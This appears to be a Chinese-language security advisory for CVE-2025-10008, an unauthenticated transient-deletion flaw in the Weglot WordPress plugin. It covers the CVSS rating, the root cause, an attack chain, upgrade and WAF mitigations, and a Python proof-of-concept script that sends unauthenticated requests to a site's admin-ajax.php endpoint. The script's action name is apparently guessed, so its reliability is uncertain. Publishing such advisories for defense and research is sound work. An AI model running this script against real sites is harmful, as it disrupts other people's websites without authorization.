CVE-2025-10008 WordPress Weglot插件未授权数据删除漏洞

漏洞信息

漏洞编号

CVE-2025-10008

漏洞类型

缺少权限检查

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Translate WordPress and go Multilingual – Weglot plugin for WordPress

漏洞概述

CVE-2025-10008是WordPress Weglot插件的一个中危安全漏洞，该插件是用于为WordPress网站提供多语言翻译功能的流行插件。漏洞源于插件的'clean_options'函数缺少适当的权限检查机制。在所有5.1及以下版本中，攻击者可以在无需任何认证的情况下调用该函数，从而删除存储在WordPress transients中的缓存插件选项数据。虽然CVSS评分仅为5.3（中等），但此漏洞仍可能对网站正常运行造成影响，因为删除transients数据可能导致插件配置丢失、翻译缓存被清空，进而影响网站的多语言功能正常运行。攻击者利用此漏洞可以造成网站功能中断或配置异常，建议网站管理员尽快升级到修复版本。

技术细节

该漏洞的根本原因在于Weglot插件的clean_options函数没有进行权限验证。在WordPress插件开发中，涉及数据删除的操作通常需要检查用户权限（如current_user_can()验证），但该函数的代码实现中缺少了这一关键的安全检查。具体来说，clean_options函数直接处理transients的删除操作，而没有验证调用者是否具有管理员权限。攻击者可以通过构造HTTP请求直接调用该函数（通常是POST请求到wp-admin/admin-ajax.php或其他端点），触发transients删除逻辑。受影响的transients主要包含插件的缓存配置数据，删除这些数据不会直接导致敏感信息泄露，但会造成插件功能异常或需要重新配置。对于使用Weglot进行多语言翻译的电商网站或企业站点，这可能导致翻译显示错误或网站界面异常。

攻击链分析

STEP 1

步骤1

攻击者识别目标WordPress网站，确认安装了Weglot插件且版本<=5.1

STEP 2

步骤2

攻击者分析插件代码，发现clean_options函数缺少权限验证和nonce检查

STEP 3

步骤3

攻击者构造恶意HTTP请求，直接调用clean_options函数对应的AJAX端点

STEP 4

步骤4

服务器端执行transients删除操作，导致插件缓存的选项数据被清除

STEP 5

步骤5

网站多语言功能受影响，可能出现翻译丢失、配置重置或功能异常

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import sys

# CVE-2025-10008 PoC - Weglot Plugin Unauthorized Transient Deletion
# Target: WordPress site with Weglot plugin <= 5.1

def exploit_weglot(target_url):
    """
    Exploit for CVE-2025-10008
    Missing capability check on clean_options function
    Allows unauthenticated deletion of plugin transients
    """
    
    # Prepare the exploit payload
    # The clean_options function is typically hooked to an AJAX action
    exploit_data = {
        'action': 'weglot_clean_options',  # AJAX action hook
        'nonce': ''  # Nonce not required due to missing capability check
    }
    
    # Try common AJAX endpoints
    endpoints = [
        f'{target_url}/wp-admin/admin-ajax.php',
        f'{target_url}/wp-admin/admin-post.php'
    ]
    
    for endpoint in endpoints:
        try:
            response = requests.post(endpoint, data=exploit_data, timeout=10)
            if response.status_code == 200:
                print(f'[+] Successfully sent exploit to {endpoint}')
                print(f'[+] Response: {response.text[:200]}')
                return True
        except requests.RequestException as e:
            print(f'[-] Request failed: {e}')
    
    return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python cve_2025_10008.py <target_url>')
        print('Example: python cve_2025_10008.py http://example.com')
        sys.exit(1)
    
    target = sys.argv[1].rstrip('/')
    print(f'[*] Targeting: {target}')
    print(f'[*] Exploiting CVE-2025-10008...')
    exploit_weglot(target)

影响范围

Weglot plugin <= 5.1 (all versions up to and including 5.1)

防御指南

临时缓解措施

立即将Weglot插件升级到最新版本（5.1.1或更高），该版本已修复缺少权限检查的问题。如果暂时无法升级，可通过Web应用防火墙（WAF）规则限制对/admin-ajax.php的敏感操作请求，或在主题的functions.php中添加临时挂载点禁用未授权的clean_options调用。同时建议审查所有插件的AJAX钩子，确保敏感操作都有适当的权限验证。